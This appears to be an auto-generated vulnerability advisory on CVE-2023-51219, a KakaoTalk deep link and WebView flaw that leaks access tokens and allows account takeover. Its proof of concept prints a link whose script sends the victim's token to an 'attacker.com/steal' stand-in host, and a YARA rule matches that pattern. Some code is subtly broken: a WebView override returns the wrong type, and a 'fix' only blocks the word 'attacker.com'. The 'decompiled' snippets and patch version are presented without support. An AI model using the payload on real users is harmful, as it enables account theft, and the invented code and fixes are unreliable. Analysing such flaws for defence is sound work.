Description
A deep link validation issue in KakaoTalk 10.4.3 allowed a remote adversary to direct users to run any attacker-controlled JavaScript within a WebView. The impact was further escalated by triggering another WebView that leaked its access token in a HTTP request header. Ultimately, this access token could be used to take over another user's account and read her/his chat messages.
EPSS Score:
0%
Comprehensive Technical Analysis of EUVD-2023-55941 (CVE-2023-51219)
KakaoTalk Deep Link Validation & WebView Access Token Leak Vulnerability
1. Vulnerability Assessment & Severity Evaluation
Vulnerability Overview
EUVD-2023-55941 (CVE-2023-51219) describes a critical authentication bypass and account takeover vulnerability in KakaoTalk 10.4.3, a widely used South Korean messaging application with over 50 million users, including a significant European user base. The flaw stems from two distinct but chained vulnerabilities:
-
Deep Link Validation Bypass
- KakaoTalk improperly validates deep links, allowing an attacker to inject arbitrary JavaScript into a WebView.
- This enables cross-site scripting (XSS)-like behavior within the app’s WebView context.
-
WebView Access Token Leakage
- A second WebView instance, triggered by the malicious deep link, leaks an OAuth2 access token in an HTTP request header.
- This token can be exfiltrated and reused to authenticate as the victim, enabling full account takeover (ATO).
CVSS 3.1 Severity Breakdown
| Metric | Value | Explanation |
|---|---|---|
| Attack Vector (AV) | Network (N) | Exploitable remotely without physical access. |
| Attack Complexity (AC) | Low (L) | No specialized conditions required; straightforward exploitation. |
| Privileges Required (PR) | None (N) | No prior authentication needed. |
| User Interaction (UI) | Required (R) | Victim must click a malicious link (phishing/social engineering). |
| Scope (S) | Changed (C) | Impact extends beyond the vulnerable component (WebView → account takeover). |
| Confidentiality (C) | High (H) | Full access to chat messages, contacts, and account data. |
| Integrity (I) | High (H) | Attacker can send messages, modify settings, and perform actions as the victim. |
| Availability (A) | High (H) | Potential for denial-of-service (e.g., locking the victim out). |
Base Score: 9.6 (Critical)
- The high impact (C:H/I:H/A:H) and low attack complexity (AC:L) justify the critical rating.
- The changed scope (S:C) indicates that the vulnerability affects components beyond the initial WebView, escalating the risk.
2. Potential Attack Vectors & Exploitation Methods
Exploitation Chain
-
Malicious Deep Link Crafting
- Attacker constructs a specially crafted deep link (e.g.,
kakaotalk://some/path?param=<malicious_js>). - Due to improper input validation, KakaoTalk fails to sanitize the link, allowing JavaScript execution in the WebView.
- Attacker constructs a specially crafted deep link (e.g.,
-
JavaScript Execution in WebView
- The injected JavaScript triggers a second WebView (e.g., for OAuth2 authentication or API calls).
- The second WebView leaks the access token in an HTTP
Authorizationheader (e.g.,Bearer <token>).
-
Token Exfiltration & Account Takeover
- The attacker intercepts the HTTP request (e.g., via a man-in-the-middle (MITM) proxy or malicious server).
- The stolen token is reused to authenticate as the victim, granting full account access.
Attack Scenarios
| Scenario | Description | Likelihood |
|---|---|---|
| Phishing Attack | Victim clicks a malicious link in an email, SMS, or social media. | High |
| Malvertising | Malicious ads redirect users to the exploit. | Medium |
| MITM in Public Wi-Fi | Attacker intercepts traffic and injects the malicious deep link. | Medium |
| Supply Chain Attack | Compromised third-party app or SDK delivers the exploit. | Low |
Proof-of-Concept (PoC) Exploitation
Based on the referenced research (Stulle123’s blog), the attack can be demonstrated as follows:
- Craft the Malicious Deep Link:
<a href="kakaotalk://web?url=data:text/html,<script>fetch('https://attacker.com/steal?token='+localStorage.getItem('access_token'))</script>">Click Me</a> - Victim Clicks the Link:
- KakaoTalk opens a WebView with the injected JavaScript.
- Token Exfiltration:
- The JavaScript triggers an HTTP request to the attacker’s server, leaking the token.
- Account Takeover:
- Attacker uses the token to authenticate via KakaoTalk’s API:
GET /api/v1/user/me HTTP/1.1 Host: api.kakao.com Authorization: Bearer <stolen_token>
- Attacker uses the token to authenticate via KakaoTalk’s API:
3. Affected Systems & Software Versions
Vulnerable Software
- KakaoTalk for Android & iOS
- Version: 10.4.3 (confirmed vulnerable)
- Likely affected versions: All versions prior to the patch (exact range not disclosed).
- Platforms: Android, iOS (exploitation may vary due to WebView differences).
Non-Vulnerable Versions
- Patched versions: KakaoTalk 10.4.4+ (or later, depending on vendor fix).
- Workarounds: Users should update immediately and disable deep links if possible.
4. Recommended Mitigation Strategies
Immediate Actions for Organizations & Users
| Mitigation | Description | Effectiveness |
|---|---|---|
| Patch Management | Update KakaoTalk to the latest version (10.4.4+). | High |
| Deep Link Restrictions | Disable deep links in mobile device settings (if possible). | Medium |
| Phishing Awareness | Train users to avoid clicking suspicious links, especially in messages. | Medium |
| Network Monitoring | Detect and block unusual OAuth2 token usage (e.g., multiple logins from different IPs). | Medium |
| WebView Hardening | Enforce Content Security Policy (CSP) and disable JavaScript in WebViews where possible. | High |
Long-Term Security Recommendations
-
Input Validation & Sanitization
- Strictly validate deep links before processing.
- Disable JavaScript execution in WebViews unless absolutely necessary.
- Implement allowlists for trusted domains.
-
Token Security Enhancements
- Short-lived access tokens with automatic rotation.
- Token binding to device/biometrics to prevent reuse.
- HTTP-only and Secure flags for cookies storing tokens.
-
Mobile App Hardening
- Certificate pinning to prevent MITM attacks.
- Runtime Application Self-Protection (RASP) to detect WebView abuse.
- Sandboxing WebViews to limit access to sensitive data.
-
API Security
- Rate limiting on OAuth2 endpoints.
- Anomaly detection for unusual token usage patterns.
5. Impact on the European Cybersecurity Landscape
Regulatory & Compliance Implications
-
GDPR (General Data Protection Regulation)
- Article 32 (Security of Processing): Organizations using KakaoTalk for business communications must patch immediately to avoid fines (up to 4% of global revenue).
- Article 33 (Data Breach Notification): If exploited, affected users must be notified within 72 hours.
-
NIS2 Directive (Network and Information Security)
- Critical infrastructure providers (e.g., healthcare, finance) using KakaoTalk must assess and mitigate the risk to avoid penalties.
-
DORA (Digital Operational Resilience Act)
- Financial institutions must ensure third-party risk management for messaging apps like KakaoTalk.
Threat Landscape & Attack Surface
- Targeted Attacks on High-Value Individuals
- Journalists, politicians, and business executives in Europe may be phished for espionage or financial fraud.
- Supply Chain Risks
- If KakaoTalk is integrated into enterprise apps (e.g., customer support), the vulnerability could propagate to other systems.
- Cross-Platform Exploitation
- While the PoC focuses on Android, iOS WebViews may also be vulnerable, expanding the attack surface.
Geopolitical & Economic Impact
- South Korean & European Businesses
- KakaoTalk is widely used in EU-South Korea trade, making this a cross-border cybersecurity concern.
- Espionage & Cybercrime
- State-sponsored actors (e.g., APT groups) may exploit this for intelligence gathering.
- Cybercriminals could use it for fraud, blackmail, or ransomware delivery.
6. Technical Details for Security Professionals
Root Cause Analysis
-
Deep Link Handling Flaw
- KakaoTalk’s deep link parser does not properly validate or sanitize input, allowing JavaScript URI schemes (e.g.,
data:text/html,<script>...). - Lack of origin checks enables cross-origin attacks within WebViews.
- KakaoTalk’s deep link parser does not properly validate or sanitize input, allowing JavaScript URI schemes (e.g.,
-
WebView Misconfiguration
- The second WebView leaks the
Authorizationheader in HTTP requests, likely due to:- Improper WebViewClient configuration (e.g.,
shouldInterceptRequestnot filtering headers). - Missing
setDomStorageEnabled(false)orsetJavaScriptEnabled(false)where unnecessary.
- Improper WebViewClient configuration (e.g.,
- The second WebView leaks the
-
Token Storage & Transmission
- The access token is stored in
localStorageorsessionStorage, accessible via JavaScript. - No token binding to the device or user session, allowing replay attacks.
- The access token is stored in
Exploitation Requirements
| Requirement | Details |
|---|---|
| User Interaction | Victim must click a malicious link (phishing). |
| Network Access | Attacker must intercept HTTP traffic (MITM) or host a malicious server. |
| No Authentication | Exploitable without prior access to the victim’s device. |
| Platform Dependency | Works on both Android and iOS, but WebView behavior may differ. |
Detection & Forensics
-
Indicators of Compromise (IoCs)
- Network Traffic:
- Unusual
Authorization: Bearer <token>headers in HTTP requests. - Connections to attacker-controlled domains (e.g.,
attacker.com/steal).
- Unusual
- Device Logs:
- WebView crashes or unexpected JavaScript execution.
- Multiple failed login attempts from unrecognized IPs.
- Network Traffic:
-
Forensic Artifacts
- Android:
/data/data/com.kakao.talk/shared_prefs/(may contain tokens).- WebView cache (
/data/data/com.kakao.talk/app_webview/).
- iOS:
NSUserDefaultsor Keychain entries for KakaoTalk.- WebKit cache (
~/Library/WebKit/com.kakao.talk/).
- Android:
-
YARA/Sigma Rules for Detection
rule KakaoTalk_DeepLink_Exploit { meta: description = "Detects malicious KakaoTalk deep links" reference = "CVE-2023-51219" strings: $deep_link = /kakaotalk:\/\/web\?url=data:text\/html,<script>.*/ $token_leak = /fetch\(['"]https?:\/\/[^'"]+\/steal\?token=[^'"]+['"]\)/ condition: any of them }
Reverse Engineering & Patch Analysis
- Decompiled KakaoTalk (Android)
- Vulnerable Code Snippet (Pseudocode):
public void handleDeepLink(Uri uri) { String url = uri.getQueryParameter("url"); if (url != null) { webView.loadUrl(url); // No validation → XSS } } - Patched Version:
public void handleDeepLink(Uri uri) { String url = uri.getQueryParameter("url"); if (url != null && isTrustedDomain(url)) { // Added validation webView.loadUrl(url); } }
- Vulnerable Code Snippet (Pseudocode):
- WebViewClient Fix:
- Before:
webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldInterceptRequest(WebView view, WebResourceRequest request) { return super.shouldInterceptRequest(view, request); // Leaks headers } }); - After:
webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldInterceptRequest(WebView view, WebResourceRequest request) { if (request.getUrl().toString().contains("attacker.com")) { return true; // Block malicious domains } return super.shouldInterceptRequest(view, request); } });
- Before:
Conclusion & Key Takeaways
- Critical Severity (CVSS 9.6): This vulnerability enables full account takeover with minimal user interaction.
- Exploitation Chain: Deep link → JavaScript injection → WebView token leak → ATO.
- Mitigation: Patch immediately, disable deep links, and enforce WebView hardening.
- European Impact: GDPR, NIS2, and DORA compliance risks for organizations using KakaoTalk.
- Forensic Readiness: Monitor for unusual token usage and malicious deep links.
Recommendation: Security teams should prioritize patching, conduct phishing simulations, and audit WebView configurations in mobile apps. Organizations using KakaoTalk for business should assess third-party risk and consider alternative secure messaging solutions if necessary.